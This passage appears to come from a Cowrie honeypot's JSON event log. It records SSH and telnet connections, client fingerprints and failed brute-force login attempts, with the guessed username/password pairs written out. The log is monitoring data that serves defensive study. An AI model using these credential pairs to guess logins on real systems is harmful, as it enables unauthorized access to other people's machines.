sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:42.047234Z","src_ip":"87.106.44.172","session":"1876891bbbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P455w0rd","message":"login attempt [root/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:42.455683Z","src_ip":"87.106.44.172","session":"1876891bbbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:43.541566Z","src_ip":"87.106.44.172","session":"1876891bbbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":42976,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a45564a529d","protocol":"ssh","message":"New connection: 103.84.236.222:42976 (10.17.0.5:22) [session: 3a45564a529d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:46.560035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:46.565150Z","src_ip":"103.84.236.222","session":"3a45564a529d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:46.797390Z","src_ip":"103.84.236.222","session":"3a45564a529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hn123456","message":"login attempt [root/Hn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:47.758821Z","src_ip":"103.84.236.222","session":"3a45564a529d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:48.994230Z","src_ip":"103.84.236.222","session":"3a45564a529d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":40946,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4474bdca3e","protocol":"ssh","message":"New connection: 202.145.0.61:40946 (10.17.0.5:22) [session: 0f4474bdca3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:54.755610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:54.760337Z","src_ip":"202.145.0.61","session":"0f4474bdca3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:55.001548Z","src_ip":"202.145.0.61","session":"0f4474bdca3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password12345678","message":"login attempt [deploy/password12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:55.996589Z","src_ip":"202.145.0.61","session":"0f4474bdca3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:57.240635Z","src_ip":"202.145.0.61","session":"0f4474bdca3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":36384,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafac45654ad","protocol":"telnet","message":"New connection: 129.232.238.42:36384 (159.203.135.109:23) [session: aafac45654ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:26.776999Z"}
{"eventid":"cowrie.session.closed","duration":0.6646420955657959,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:27.441495Z","src_ip":"129.232.238.42","session":"aafac45654ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":47860,"dst_ip":"10.17.0.5","dst_port":22,"session":"02259444470e","protocol":"ssh","message":"New connection: 87.106.44.172:47860 (10.17.0.5:22) [session: 02259444470e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:35.937824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:35.965486Z","src_ip":"87.106.44.172","session":"02259444470e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:36.097377Z","src_ip":"87.106.44.172","session":"02259444470e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe147258369","message":"login attempt [root/qwe147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:36.448527Z","src_ip":"87.106.44.172","session":"02259444470e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:37.536960Z","src_ip":"87.106.44.172","session":"02259444470e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":57380,"dst_ip":"10.17.0.5","dst_port":22,"session":"93719abe312e","protocol":"ssh","message":"New connection: 202.145.0.61:57380 (10.17.0.5:22) [session: 93719abe312e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:46.383539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:46.388719Z","src_ip":"202.145.0.61","session":"93719abe312e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:46.630424Z","src_ip":"202.145.0.61","session":"93719abe312e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"123456","message":"login attempt [userftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:47.626503Z","src_ip":"202.145.0.61","session":"93719abe312e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:43:48.870285Z","src_ip":"202.145.0.61","session":"93719abe312e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":46914,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d436661648","protocol":"ssh","message":"New connection: 87.106.44.172:46914 (10.17.0.5:22) [session: 85d436661648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:31.282205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:31.313978Z","src_ip":"87.106.44.172","session":"85d436661648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:31.389990Z","src_ip":"87.106.44.172","session":"85d436661648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel2025","message":"login attempt [daniel/daniel2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:31.726758Z","src_ip":"87.106.44.172","session":"85d436661648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:32.808976Z","src_ip":"87.106.44.172","session":"85d436661648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":45592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7dd787c26af","protocol":"ssh","message":"New connection: 202.145.0.61:45592 (10.17.0.5:22) [session: f7dd787c26af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:43.054977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:43.060488Z","src_ip":"202.145.0.61","session":"f7dd787c26af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:43.294162Z","src_ip":"202.145.0.61","session":"f7dd787c26af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bvpn","password":"bvpn","message":"login attempt [bvpn/bvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:44.260229Z","src_ip":"202.145.0.61","session":"f7dd787c26af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:45.497928Z","src_ip":"202.145.0.61","session":"f7dd787c26af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.233.241.45","src_port":33454,"dst_ip":"159.203.135.109","dst_port":23,"session":"29c6600f91f0","protocol":"telnet","message":"New connection: 122.233.241.45:33454 (159.203.135.109:23) [session: 29c6600f91f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:44:56.045581Z"}
{"eventid":"cowrie.session.closed","duration":12.801114797592163,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:08.846569Z","src_ip":"122.233.241.45","session":"29c6600f91f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ef72dfe3e3","protocol":"ssh","message":"New connection: 80.94.92.171:45652 (159.203.135.109:22) [session: d1ef72dfe3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:10.092607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:10.411191Z","src_ip":"80.94.92.171","session":"d1ef72dfe3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:10.415186Z","src_ip":"80.94.92.171","session":"d1ef72dfe3e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:12.864930Z","src_ip":"80.94.92.171","session":"d1ef72dfe3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:14.082012Z","src_ip":"80.94.92.171","session":"d1ef72dfe3e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":37916,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b11d972a27","protocol":"ssh","message":"New connection: 87.106.44.172:37916 (10.17.0.5:22) [session: f5b11d972a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:24.794806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:24.810455Z","src_ip":"87.106.44.172","session":"f5b11d972a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh 